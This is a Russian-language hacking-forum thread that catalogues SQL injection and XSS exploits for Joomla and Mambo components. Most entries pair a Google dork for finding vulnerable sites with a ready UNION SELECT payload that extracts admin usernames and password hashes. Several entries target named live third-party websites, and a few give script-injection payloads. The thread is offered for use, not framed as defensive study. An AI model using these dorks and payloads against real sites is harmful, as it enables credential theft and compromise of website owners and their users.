ANTICHAT - Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

ANTICHAT (https://forum.antichat.xyz/index.php)

- Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)

- - Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов (https://forum.antichat.xyz/showthread.php?t=50600)

скуль в Garyґs Cookbook 2.3.4 другие версии не смотрел

google: inurl:option inurl:com_garyscookbook (всего 251,000 )

POST http://localhost/joomla/index.php HTTP/1.0
Accept: */*
Referer: http://localhost/joomla/index.php?option=com_garyscookbook&Itemid=&func=de tail&id=1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Opera 9.95
Host: localhost
Content-Length: 95
Pragma: no-cache

option=com_garyscookbook&Itemid=&func=vote&imgvote =4&id=1,(select username from %23__users where gid=25 or gid=24 limit 1))%23

запрос к бд
INSERT INTO jos_gkb_voting_log (type,date,userid,fileid,ipaddress) VALUES ('3','2008-00-00 00:00:00', 0,[sql],'127.0.0.1');

результаты запроса нигде не отоброжаются
единственный способ эксплуатации посимвольный перебор
p.s. шыпко геморойно дальше не стал ковырять, если у кого получется добавить insert или update плиз отпишытесь

Component NeoReferences 1.3.1 (catid) SQL Injection Vulnerability

inurl: index.php?option=com_neoreferences
Инъекция:

Код:

index.php?option=com_neoreferences&Itemid=27&catid=100500+UNION+SELECT+CONCAT(USERNAME,0x3a,PASSWORD)+FROM+jos_users+LIMIT+1/*

http://www.islamicamagazine.com/index.php?option=com_neoreferences&Itemid=27&catid=100500+UNION+SELECT+CONCAT(USERNAME,0x3a,PASSWORD)+FROM+jos_users+LIMIT+1/*

Mambo Component Mambads 1.5 Remote SQL Injection
inurl: index.php?option=com_mambads
Инъекция:

Код:

index.php?option=com_mambads&Itemid=0&func=detail&cacat=0&casb=0&caid=100500+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(username,0x3a,password),null,null,null,null,null,null,null+from+mos_users--

http://www.vivalavida.org/index.php?option=com_mambads&Itemid=0&func=detail&cacat=0&casb=0&caid=100500+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(username,0x3a,password),null,null,null,null,null,null,null+from+mos_users--

(c) hackturkiye.com

Mambo Component SOBI2 RC 2.5.3 SQL Injection Vulnerability

PoC:

Код:

http://site.com/path/index.php?option=com_sobi2&Itemid=27&catid=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*

Mosets Hot Property v0.9.6

magic_quotes_gpc off
register_globals on

Код HTML:

http://localhost/joomla/components/com_hotproperty/pdf.php?id=10'+and+1=0+union+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(username,0x3a,password),1+from+%23__users+where+gid=25+or+gid=24+limit+1/*

Joomla Component mosDirectory 2.3.2 (catid) Remote SQL Injection Vulnerability

Код:

/index.php?option=com_directory&page=viewcat&catid=-1/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/jos_users/*

Поиск бажного компонента: inurl:index.php?option=com_directory
Автор: aNa TrYaGi
Источник: milw0rm.com [2008-02-03]

Joomla Component Markplace 1.1.1 Remote Sql Injection Exploit

Автор: SoSo H H (Iraqi-Cracker)
Tested on: Markplace Version 1.1.1 and 1.1.1-pl1
Поиск бажного компонента:
"Marketplace Version 1.1.1"
"Marketplace Version 1.1.1-pl1"
inurl:index.php?option=com_marketplace
Exploit:

Код:

index.php?option=com_marketplace&page=show_category&catid=(SQL)

Пример:

Код:

(SQL)=-1+union+select+concat(username,0x3a,password),2,3+from+jos_users/*

milw0rm.com [2008-02-03]

----------------------------------------------------
HOME : http://www.hackturkiye.com/
AUTHOR : S@BUN :
joomla SQL Injection(com_awesom)

DORKS 1: allinurl :"com_awesom"
EXPLOIT:

Код:

index.php?option=com_awesom&Itemid=S@BUN&task=viewlist&listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*

Код:

<name>Awesom</name>

<creationDate>24/05/2004</creationDate>

<author>Madd0</author>

<copyright>This component is released under the GNU/GPL License</copyright>

<authorEmail>madd0@users.sourceforge.net</authorEmail>



<authorUrl>amazoop.sourceforge.net</authorUrl>

<version>0.3.2</version>

<description>Awesom!, or Amazon Web Services for Opensource Mambo, is a component that lets you create lists of products to feature on your Mambo-driven site.<br />

These lists can be customized or can be automatically generated with information provided by Amazon through Amazon Web Services.<br />

Additionally, if you are an Amazon associate, you can configure Awesom to link to Amazon 

using your associate ID in order to earn comissions.

</description>

milw0rm

joomla SQL Injection(com_shambo2)

DORKS 1: allinurl :"com_shambo2"
EXPLOIT:

Код:

index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

milw0rm

joomla SQL Injection(com_downloads)(filecatid)

DORKS 1: allinurl :"com_downloads"filecatid
EXPLOIT:

Код:

index.php?option=com_downloads&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

milw0rm

Joomla Component Ynews 1.0.0

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

Код:

/index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1/* */union/**/select/**/0,1,2,username,password,5,6%20from%20jos_users/*

xakep.ru

Component Ynews 1.0.0 SQL Injection Vulnerability

inurl: index.php?option=com_ynews
Инъекция:

Код:

index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1+union+select+0,1,2,concat(username,0x3a,password),null,5,6+from+jos_users/*

http://www.newpowersoul.de/index.php?option=com_ynews&Itemid=0&task=showYNews&id=-1+union+select+0,1,2,concat(username,0x3a,password),null,5,6+from+jos_users/*

Component PeopleBook 1.1.6 Passiv XSS

inurl: index.php?option=com_peoplebook
Инъекция:

Код:

/index.php?option=com_peoplebook&Itemid=661&func=searchstaff&Itemid=661&field=name&term=%22%3E%3Cscript%3Ealert(document.coockie)%3C/script%3E&submit=Go&search_status=%25&search_category=%25

http://www.fln.org/index.php?option=com_peoplebook&Itemid=661&func=searchstaff&Itemid=661&field=name&term=%22%3E%3Cscript%3Ealert(document.coockie)%3C/script%3E&submit=Go&search_status=%25&search_category=%25

примечание: XSS'ка работает, только при условии если в компоненте включен поиск.

(c) it's my

Добавлено 08.02.2008
----------------------
А вот это не знаю, что такое, но точно Активная XSS

Код:

http://www.pan-group.com/mambo4.6/index.php?option=com_guest&option=com_guest&task=show&pageid=1

Еще Пасивная XSS в компоненте Quote:

Код:

http://www.hlconveyancing.com/index.php?option=com_quote&task=instructUs&Itemid=49

во всех полях вводим "><script>alert(document.coockie)</script>

Component com_noticias 1.0 SQL Injection

inurl: index.php?option=com_noticias
Инъекция:

Код:

index.php?option=com_noticias&Itemid=999999&task=detalhe&id=-1+union+select+0,null,concat(username,0x3a,password),3,4,5+from+jos_users/*

http://www.cm-stirso.pt/index.php?option=com_noticias&Itemid=999999&task=detalhe&id=-1+union+select+0,null,concat(username,0x3a,password),3,4,5+from+jos_users/*

SQL Injection

Mambo Component com_gallery Remote SQL Injection Vulnerability

Код:

EXPLOIT 1 :



index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/**/select/**/0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username/**/from/**/mos_users/*





EXPLOİT 2 :



index.php?option=com_gallery&Itemid=0&func=detail&id=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cpassword%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

SQL Injection

Joomla Component NeoGallery 1.1 SQL Injection Vulnerability

Код:

EXPLOIT :



index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users

milw0rm.com

Mambo SQL Injection (com_comments)

Код:

index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1

http://www.milw0rm.com